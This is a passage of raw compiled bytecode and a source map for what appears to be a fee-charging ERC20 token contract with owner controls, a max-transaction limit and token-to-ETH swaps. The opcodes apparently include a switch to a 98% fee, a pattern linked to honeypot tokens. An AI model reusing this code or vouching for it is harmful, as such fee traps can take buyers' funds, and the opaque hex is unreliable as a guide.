f165b156117f95760009050600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156117d257506001601960169054906101000a900460ff1660ff16105b156117f4576001601960166101000a81548160ff021916908360ff1602179055505b6118bf565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561185d57600e54600d819055506118be565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118bd57600f54600d819055505b5b5b6118cb848484846119b0565b50505050565b6000838311158290611919576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119109190612173565b60405180910390fd5b5082840390509392505050565b60008183611934919061290f565b905092915050565b6001601960146101000a81548160ff02191690831515021790555061196081611a1a565b6000479050611991600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611c5d565b506000601960146101000a81548160ff02191690831515021790555050565b806119c2576119bd611ca8565b6119fb565b600c600081819054906101000a900460ff16809291906119e190612965565b91906101000a81548160ff021916908360ff160217905550505b611a06848484611d0a565b80611a1457611a13612024565b5b50505050565b6000600267ffffffffffffffff811115611a3757611a3661298f565b5b604051908082528060200260200182016040528015611a655781602001602082028036833780820191505090505b5090503081600081518110611a7d57611a7c6129be565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b24573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b489190612a02565b81600181518110611b5c57611b5b6129be565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611bc330601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846111d3565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611c27959493929190612b28565b600060405180830381600087803b158015611c4157600080fd5b505af1158015611c55573d6000803e3d6000fd5b505050505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611ca3573d6000803e3d6000fd5b505050565b6000600d54148015611cbc57506000600e54145b8015611cca57506000600f54145b15611cd457611d08565b600e54601181905550600f54601281905550600d546010819055506000600e819055506000600f819055506000600d819055505b565b600080611d168361207f565b91509150611d6c83600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120c490919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff611e1d9190612b82565b611e279190612b82565b9050600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611e81576000611e83565b805b611ed584600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461192690919063ffffffff16565b611edf919061290f565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f7482600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461192690919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612014919061232d565b60405180910390a3505050505050565b601054600d81905550601154600e81905550604051806040016040528060125481526020016062815250601960169054906101000a900460ff1660ff1660028110612072576120716129be565b5b6020020151600f81905550565b60008060006064600d54856120949190612633565b61209e91906126bc565b905060006120b582866120c490919063ffffffff16565b90508082935093505050915091565b600081836120d29190612b82565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156121145780820151818401526020810190506120f9565b83811115612123576000848401525b50505050565b6000601f19601f8301169050919050565b6000612145826120da565b61214f81856120e5565b935061215f8185602086016120f6565b61216881612129565b840191505092915050565b6000602082019050818103600083015261218d818461213a565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006121c58261219a565b9050919050565b6121d5816121ba565b81146121e057600080fd5b50565b6000813590506121f2816121cc565b92915050565b6000819050919050565b61220b816121f8565b811461221657600080fd5b50565b60008135905061222881612202565b92915050565b6000806040838503121561224557612244612195565b5b6000612253858286016121e3565b925050602061226485828601612219565b9150509250929050565b60008115159050919050565b6122838161226e565b82525050565b600060208201905061229e600083018461227a565b92915050565b6000819050919050565b60006122c96122c46122bf8461219a565b6122a4565b61219a565b9050919050565b60006122db826122ae565b9050919050565b60006122ed826122d0565b9050919050565b6122fd816122e2565b82525050565b600060208201905061231860008301846122f4565b92915050565b612327816121f8565b82525050565b6000602082019050612342600083018461231e565b92915050565b60006020828403121561235e5761235d612195565b5b600061236c848285016121e3565b91505092915050565b60008060006060848603121561238e5761238d612195565b5b600061239c868287016121e3565b93505060206123ad868287016121e3565b92505060406123be86828701612219565b9150509250925092565b600060ff82169050919050565b6123de816123c8565b82525050565b60006020820190506123f960008301846123d5565b92915050565b612408816121ba565b82525050565b600060208201905061242360008301846123ff565b92915050565b60006124348261219a565b9050919050565b61244481612429565b82525050565b600060208201905061245f600083018461243b565b92915050565b6000806040838503121561247c5761247b612195565b5b600061248a858286016121e3565b925050602061249b858286016121e3565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806124ec57607f821691505b60208210811415612500576124ff6124a5565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061253c6020836120e5565b915061254782612506565b602082019050919050565b6000602082019050818103600083015261256b8161252f565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006125ce6026836120e5565b91506125d982612572565b604082019050919050565b600060208201905081810360008301526125fd816125c1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061263e826121f8565b9150612649836121f8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561268257612681612604565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006126c7826121f8565b91506126d2836121f8565b9250826126e2576126e161268d565b5b828204905092915050565b7f4552523a207a65726f2061646472657373000000000000000000000000000000600082015250565b60006127236011836120e5565b915061272e826126ed565b602082019050919050565b6000602082019050818103600083015261275281612716565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006127b56025836120e5565b91506127c082612759565b604082019050919050565b600060208201905081810360008301526127e4816127a8565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006128476023836120e5565b9150612852826127eb565b604082019050919050565b600060208201905081810360008301526128768161283a565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b60006128d96028836120e5565b91506128e48261287d565b604082019050919050565b60006020820190508181036000830152612908816128cc565b9050919050565b600061291a826121f8565b9150612925836121f8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561295a57612959612604565b5b828201905092915050565b6000612970826123c8565b915060ff82141561298457612983612604565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506129fc816121cc565b92915050565b600060208284031215612a1857612a17612195565b5b6000612a26848285016129ed565b91505092915050565b6000819050919050565b6000612a54612a4f612a4a84612a2f565b6122a4565b6121f8565b9050919050565b612a6481612a39565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612a9f816121ba565b82525050565b6000612ab18383612a96565b60208301905092915050565b6000602082019050919050565b6000612ad582612a6a565b612adf8185612a75565b9350612aea83612a86565b8060005b83811015612b1b578151612b028882612aa5565b9750612b0d83612abd565b925050600181019050612aee565b5085935050505092915050565b600060a082019050612b3d600083018861231e565b612b4a6020830187612a5b565b8181036040830152612b5c8186612aca565b9050612b6b60608301856123ff565b612b78608083018461231e565b9695505050505050565b6000612b8d826121f8565b9150612b98836121f8565b925082821015612bab57612baa612604565b5b82820390509291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220a6fe1c5d59d42ef3f2f61754fd2c46e64d79bcc4c889e643d7e5c888241d715664736f6c634300080b0033

Deployed Bytecode Sourcemap

10903:9150:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13782:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14615:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12238:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14059:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11275:48;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12358:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14784:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11219:48;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13968:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15105:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12317:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12393:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11330:49;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11816:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14162:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10489:148;;;;;;;;;;;;;:::i;:::-;;11988:56;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12117:53;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10260:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13873;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11393:93;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15331:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14289:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11157:55;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11615:49;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11537:37;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11784:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11495:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14464:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10645:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13782:83;13819:13;13852:5;13845:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13782:83;:::o;14615:161::-;14690:4;14707:39;14716:12;:10;:12::i;:::-;14730:7;14739:6;14707:8;:39::i;:::-;14764:4;14757:11;;14615:161;;;;:::o;12238:41::-;;;;;;;;;;;;;:::o;14059:95::-;14112:7;14139;;14132:14;;14059:95;:::o;11275:48::-;;;;;;;;;;;;;;;;;;;;;;:::o;12358:28::-;;;;;;;;;;;;;:::o;14784:313::-;14882:4;14899:36;14909:6;14917:9;14928:6;14899:9;:36::i;:::-;14946:121;14955:6;14963:12;:10;:12::i;:::-;14977:89;15015:6;14977:89;;;;;;;;;;;;;;;;;:11;:19;14989:6;14977:19;;;;;;;;;;;;;;;:33;14997:12;:10;:12::i;:::-;14977:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;14946:8;:121::i;:::-;15085:4;15078:11;;14784:313;;;;;:::o;11219:48::-;;;;;;;;;;;;;;;;;;;;;;:::o;13968:83::-;14009:5;14034:9;;;;;;;;;;;14027:16;;13968:83;:::o;15105:218::-;15193:4;15210:83;15219:12;:10;:12::i;:::-;15233:7;15242:50;15281:10;15242:11;:25;15254:12;:10;:12::i;:::-;15242:25;;;;;;;;;;;;;;;:34;15268:7;15242:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;15210:8;:83::i;:::-;15311:4;15304:11;;15105:218;;;;:::o;12317:28::-;;;;;;;;;;;;;:::o;12393:40::-;;;;;;;;;;;;;:::o;11330:49::-;;;;;;;;;;;;;;;;;;;;;;:::o;11816:26::-;;;;:::o;14162:119::-;14228:7;14255:9;:18;14265:7;14255:18;;;;;;;;;;;;;;;;14248:25;;14162:119;;;:::o;10489:148::-;10410:12;:10;:12::i;:::-;10399:23;;:7;:5;:7::i;:::-;:23;;;10391:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10596:1:::1;10559:40;;10580:6;::::0;::::1;;;;;;;;10559:40;;;;;;;;;;;;10627:1;10610:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;10489:148::o:0;11988:56::-;;;;:::o;12117:53::-;;;;:::o;10260:87::-;10306:7;10333:6;;;;;;;;;;;10326:13;;10260:87;:::o;13873:::-;13912:13;13945:7;13938:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13873:87;:::o;11393:93::-;;;;;;;;;;;;;:::o;15331:269::-;15424:4;15441:129;15450:12;:10;:12::i;:::-;15464:7;15473:96;15512:15;15473:96;;;;;;;;;;;;;;;;;:11;:25;15485:12;:10;:12::i;:::-;15473:25;;;;;;;;;;;;;;;:34;15499:7;15473:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;15441:8;:129::i;:::-;15588:4;15581:11;;15331:269;;;;:::o;14289:167::-;14367:4;14384:42;14394:12;:10;:12::i;:::-;14408:9;14419:6;14384:9;:42::i;:::-;14444:4;14437:11;;14289:167;;;;:::o;11157:55::-;;;;;;;;;;;;;;;;;;;;;;:::o;11615:49::-;;;;:::o;11537:37::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;11784:25::-;;;;:::o;11495:35::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;14464:143::-;14545:7;14572:11;:18;14584:5;14572:18;;;;;;;;;;;;;;;:27;14591:7;14572:27;;;;;;;;;;;;;;;;14565:34;;14464:143;;;;:::o;10645:244::-;10410:12;:10;:12::i;:::-;10399:23;;:7;:5;:7::i;:::-;:23;;;10391:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10754:1:::1;10734:22;;:8;:22;;;;10726:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;10844:8;10815:38;;10836:6;::::0;::::1;;;;;;;;10815:38;;;;;;;;;;;;10873:8;10864:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;10645:244:::0;:::o;1037:98::-;1095:7;1126:1;1122;:5;;;;:::i;:::-;1115:12;;1037:98;;;;:::o;1147:::-;1205:7;1236:1;1232;:5;;;;:::i;:::-;1225:12;;1147:98;;;;:::o;1722:::-;1775:7;1802:10;1795:17;;1722:98;:::o;16087:266::-;16199:1;16182:19;;:5;:19;;;;:44;;;;;16224:1;16205:21;;:7;:21;;;;16182:44;16174:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;16289:6;16259:11;:18;16271:5;16259:18;;;;;;;;;;;;;;;:27;16278:7;16259:27;;;;;;;;;;;;;;;:36;;;;16327:7;16311:32;;16320:5;16311:32;;;16336:6;16311:32;;;;;;:::i;:::-;;;;;;;;16087:266;;;:::o;16361:1562::-;16511:1;16495:18;;:4;:18;;;;16487:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;16588:1;16574:16;;:2;:16;;;;16566:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;16647:15;:21;16663:4;16647:21;;;;;;;;;;;;;;;;;;;;;;;;;16646:22;:56;;;;;16683:15;:19;16699:2;16683:19;;;;;;;;;;;;;;;;;;;;;;;;;16682:20;16646:56;16643:191;;;16765:12;;16727:6;:50;;16719:103;;;;;;;;;;;;:::i;:::-;;;;;;;;;16643:191;16874:11;;;;;;;;;;;16863:22;;:7;;;;;;;;;;;:22;;;;:57;;;;;16904:16;;;;;;;;;;;16903:17;16863:57;:95;;;;;16945:13;;;;;;;;;;;16937:21;;:4;:21;;;;16863:95;:133;;;;;16975:21;;;;;;;;;;;16863:133;16846:497;;;17063:1;17053:7;;:11;;;;;;;;;;;;;;;;;;17079:28;17110:24;17128:4;17110:9;:24::i;:::-;17079:55;;17175:12;;17152:20;:35;17149:78;;;17213:12;;17190:35;;17149:78;17267:1;17244:20;:24;17241:91;;;17284:36;17299:20;17284:14;:36::i;:::-;17241:91;17022:321;16846:497;17360:22;:26;17383:2;17360:26;;;;;;;;;;;;;;;;;;;;;;;;;17356:85;;17425:15;;17396:25;17414:6;17396:13;17406:2;17396:9;:13::i;:::-;:17;;:25;;;;:::i;:::-;:44;;17388:53;;;;;;17356:85;17454:13;17470:4;17454:20;;17489:16;:22;17506:4;17489:22;;;;;;;;;;;;;;;;;;;;;;;;;:46;;;;17515:16;:20;17532:2;17515:20;;;;;;;;;;;;;;;;;;;;;;;;;17489:46;17485:370;;;17563:5;17552:16;;17586:15;:19;17602:2;17586:19;;;;;;;;;;;;;;;;;;;;;;;;;:37;;;;;17619:3;17609:6;;;;;;;;;;;:14;;;17586:37;17583:92;;;17655:3;17645:6;;:14;;;;;;;;;;;;;;;;;;17583:92;17485:370;;;17706:13;;;;;;;;;;;17698:21;;:4;:21;;;17694:161;;;17746:6;;17735:8;:17;;;;17694:161;;;17784:13;;;;;;;;;;;17778:19;;:2;:19;;;17774:81;;;17828:7;;17817:8;:18;;;;17774:81;17694:161;17485:370;17875:40;17891:4;17896:2;17899:6;17906:8;17875:15;:40::i;:::-;16464:1459;16361:1562;;;:::o;1253:206::-;1339:7;1397:1;1392;:6;;1400:12;1384:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1439:1;1435;:5;1428:12;;1253:206;;;;;:::o;825:98::-;883:7;914:1;910;:5;;;;:::i;:::-;903:12;;825:98;;;;:::o;18063:238::-;12720:4;12701:16;;:23;;;;;;;;;;;;;;;;;;18148:38:::1;18165:20;18148:16;:38::i;:::-;18197:19;18219:21;18197:43;;18251:42;18264:16;;;;;;;;;;;18281:11;18251:12;:42::i;:::-;18137:164;12766:5:::0;12747:16;;:24;;;;;;;;;;;;;;;;;;18063:238;:::o;18795:343::-;18918:8;18914:108;;18942:14;:12;:14::i;:::-;18914:108;;;18997:7;;:9;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;18914:108;19036:42;19052:6;19060:9;19071:6;19036:15;:42::i;:::-;19095:8;19091:39;;19118:12;:10;:12::i;:::-;19091:39;18795:343;;;;:::o;18311:474::-;18379:21;18417:1;18403:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18379:40;;18448:4;18430;18435:1;18430:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;18474:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;18464:4;18469:1;18464:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;;;18507:62;18524:4;18539:15;;;;;;;;;;;18557:11;18507:8;:62::i;:::-;18580:15;;;;;;;;;;;:66;;;18661:11;18687:1;18704:4;18731;18751:15;18580:197;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18366:419;18311:474;:::o;17933:120::-;18018:6;:15;;:23;18034:6;18018:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17933:120;;:::o;15645:274::-;15703:1;15691:8;;:13;:28;;;;;15718:1;15708:6;;:11;15691:28;:44;;;;;15734:1;15723:7;;:12;15691:44;15688:56;;;15737:7;;15688:56;15769:6;;15756:10;:19;;;;15801:7;;15787:11;:21;;;;15835:8;;15820:12;:23;;;;15863:1;15854:6;:10;;;;15885:1;15875:7;:11;;;;15908:1;15897:8;:12;;;;15645:274;:::o;19146:620::-;19250:25;19277:19;19300:26;19311:14;19300:10;:26::i;:::-;19249:77;;;;19357:37;19379:14;19357:9;:17;19367:6;19357:17;;;;;;;;;;;;;;;;:21;;:37;;;;:::i;:::-;19337:9;:17;19347:6;19337:17;;;;;;;;;;;;;;;:57;;;;19405:20;19469:17;19448:9;:20;19458:9;19448:20;;;;;;;;;;;;;;;;19429:17;19428:40;;;;:::i;:::-;:58;;;;:::i;:::-;19405:81;;19568:15;:26;19584:9;19568:26;;;;;;;;;;;;;;;;;;;;;;;;;19567:49;;19614:1;19567:49;;;19598:12;19567:49;19520:43;19545:17;19520:9;:20;19530:9;19520:20;;;;;;;;;;;;;;;;:24;;:43;;;;:::i;:::-;:97;;;;:::i;:::-;19497:9;:20;19507:9;19497:20;;;;;;;;;;;;;;;:120;;;;19655:41;19684:11;19655:9;:24;19673:4;19655:24;;;;;;;;;;;;;;;;:28;;:41;;;;:::i;:::-;19628:9;:24;19646:4;19628:24;;;;;;;;;;;;;;;:68;;;;19729:9;19712:46;;19721:6;19712:46;;;19740:17;19712:46;;;;;;:::i;:::-;;;;;;;;19238:528;;;19146:620;;;:::o;15931:143::-;15979:12;;15968:8;:23;;;;16007:10;;15998:6;:19;;;;16035:31;;;;;;;;16037:11;;16035:31;;;;16050:6;16035:31;;;16059:6;;;;;;;;;;;16035:31;;;;;;;;;:::i;:::-;;;;;;16025:7;:41;;;;15931:143::o;19776:272::-;19842:7;19851;19871:19;19917:3;19908:8;;19893:14;:23;;;;:::i;:::-;:27;;;;:::i;:::-;19871:49;;19931:25;19959:31;19978:11;19959:14;:18;;:31;;;;:::i;:::-;19931:59;;20009:17;20028:11;20001:39;;;;;;19776:272;;;:::o;931:98::-;989:7;1020:1;1016;:5;;;;:::i;:::-;1009:12;;931:98;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;;;;:::o;1478:117::-;1587:1;1584;1577:12;1724:126;1761:7;1801:42;1794:5;1790:54;1779:65;;1724:126;;;:::o;1856:96::-;1893:7;1922:24;1940:5;1922:24;:::i;:::-;1911:35;;1856:96;;;:::o;1958:122::-;2031:24;2049:5;2031:24;:::i;:::-;2024:5;2021:35;2011:63;;2070:1;2067;2060:12;2011:63;1958:122;:::o;2086:139::-;2132:5;2170:6;2157:20;2148:29;;2186:33;2213:5;2186:33;:::i;:::-;2086:139;;;;:::o;2231:77::-;2268:7;2297:5;2286:16;;2231:77;;;:::o;2314:122::-;2387:24;2405:5;2387:24;:::i;:::-;2380:5;2377:35;2367:63;;2426:1;2423;2416:12;2367:63;2314:122;:::o;2442:139::-;2488:5;2526:6;2513:20;2504:29;;2542:33;2569:5;2542:33;:::i;:::-;2442:139;;;;:::o;2587:474::-;2655:6;2663;2712:2;2700:9;2691:7;2687:23;2683:32;2680:119;;;2718:79;;:::i;:::-;2680:119;2838:1;2863:53;2908:7;2899:6;2888:9;2884:22;2863:53;:::i;:::-;2853:63;;2809:117;2965:2;2991:53;3036:7;3027:6;3016:9;3012:22;2991:53;:::i;:::-;2981:63;;2936:118;2587:474;;;;;:::o;3067:90::-;3101:7;3144:5;3137:13;3130:21;3119:32;;3067:90;;;:::o;3163:109::-;3244:21;3259:5;3244:21;:::i;:::-;3239:3;3232:34;3163:109;;:::o;3278:210::-;3365:4;3403:2;3392:9;3388:18;3380:26;;3416:65;3478:1;3467:9;3463:17;3454:6;3416:65;:::i;:::-;3278:210;;;;:::o;3494:60::-;3522:3;3543:5;3536:12;;3494:60;;;:::o;3560:142::-;3610:9;3643:53;3661:34;3670:24;3688:5;3670:24;:::i;:::-;3661:34;:::i;:::-;3643:53;:::i;:::-;3630:66;;3560:142;;;:::o;3708:126::-;3758:9;3791:37;3822:5;3791:37;:::i;:::-;3778:50;;3708:126;;;:::o;3840:152::-;3916:9;3949:37;3980:5;3949:37;:::i;:::-;3936:50;;3840:152;;;:::o;3998:183::-;4111:63;4168:5;4111:63;:::i;:::-;4106:3;4099:76;3998:183;;:::o;4187:274::-;4306:4;4344:2;4333:9;4329:18;4321:26;;4357:97;4451:1;4440:9;4436:17;4427:6;4357:97;:::i;:::-;4187:274;;;;:::o;4467:118::-;4554:24;4572:5;4554:24;:::i;:::-;4549:3;4542:37;4467:118;;:::o;4591:222::-;4684:4;4722:2;4711:9;4707:18;4699:26;;4735:71;4803:1;4792:9;4788:17;4779:6;4735:71;:::i;:::-;4591:222;;;;:::o;4819:329::-;4878:6;4927:2;4915:9;4906:7;4902:23;4898:32;4895:119;;;4933:79;;:::i;:::-;4895:119;5053:1;5078:53;5123:7;5114:6;5103:9;5099:22;5078:53;:::i;:::-;5068:63;;5024:117;4819:329;;;;:::o;5154:619::-;5231:6;5239;5247;5296:2;5284:9;5275:7;5271:23;5267:32;5264:119;;;5302:79;;:::i;:::-;5264:119;5422:1;5447:53;5492:7;5483:6;5472:9;5468:22;5447:53;:::i;:::-;5437:63;;5393:117;5549:2;5575:53;5620:7;5611:6;5600:9;5596:22;5575:53;:::i;:::-;5565:63;;5520:118;5677:2;5703:53;5748:7;5739:6;5728:9;5724:22;5703:53;:::i;:::-;5693:63;;5648:118;5154:619;;;;;:::o;5779:86::-;5814:7;5854:4;5847:5;5843:16;5832:27;;5779:86;;;:::o;5871:112::-;5954:22;5970:5;5954:22;:::i;:::-;5949:3;5942:35;5871:112;;:::o;5989:214::-;6078:4;6116:2;6105:9;6101:18;6093:26;;6129:67;6193:1;6182:9;6178:17;6169:6;6129:67;:::i;:::-;5989:214;;;;:::o;6209:118::-;6296:24;6314:5;6296:24;:::i;:::-;6291:3;6284:37;6209:118;;:::o;6333:222::-;6426:4;6464:2;6453:9;6449:18;6441:26;;6477:71;6545:1;6534:9;6530:17;6521:6;6477:71;:::i;:::-;6333:222;;;;:::o;6561:104::-;6606:7;6635:24;6653